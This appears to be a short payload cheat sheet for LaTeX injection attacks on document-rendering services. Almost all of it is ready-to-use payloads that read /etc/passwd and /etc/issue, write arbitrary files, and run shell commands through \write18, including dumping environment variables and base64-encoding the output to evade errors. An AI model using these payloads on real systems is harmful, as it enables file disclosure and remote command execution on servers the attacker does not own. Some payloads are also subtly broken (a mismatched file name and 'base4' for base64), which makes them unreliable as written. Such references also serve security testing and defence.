# LaTex Injection
## Read file
```bash
\input{/etc/passwd}
\include{password} # load .tex file
```
Read single lined file
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
Read multiple lined file
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
## Write file
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
## Command execution
The input of the command will be redirected to stdin, use a temp file to get it.
```bash
\immediate\write18{env > output}
\input{output}
```
If you get any LaTex error, consider using base64 to get the result without bad characters
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
```
